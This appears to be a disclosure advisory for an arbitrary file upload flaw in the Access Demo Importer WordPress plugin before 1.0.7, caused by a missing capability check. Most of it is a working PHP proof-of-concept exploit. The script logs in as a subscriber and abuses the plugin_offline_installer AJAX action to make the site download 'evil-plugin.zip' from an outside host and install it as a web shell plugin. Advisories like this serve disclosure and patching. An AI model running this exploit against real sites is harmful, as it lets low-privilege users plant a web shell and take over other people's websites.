Access Demo Importer < 1.0.7 - Subscriber+ Arbitrary File Upload

Description

Versions up to, and including, 1.0.6, of the Access Demo Importer WordPress plugin are vulnerable to arbitrary file uploads via the plugin_offline_installer AJAX action due to a missing capability check in the plugin_offline_installer_callback functionfound in the ~/inc/demo-functions.php file along with insufficient file validation.

Proof of Concept

<?php

// Settings
$wp_url = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];

// 1) Log in as subscriber
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

// Update Settings
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $wp_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'plugin_offline_installer',
    'file_location' => 'https://example.com/evil-plugin.zip',
    'file' => 'evil-plugin.php',
    'host_type' => 'remote',
    'class_name' => 'webshell',
    'slug' => 'evil-plugin'
]);

$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>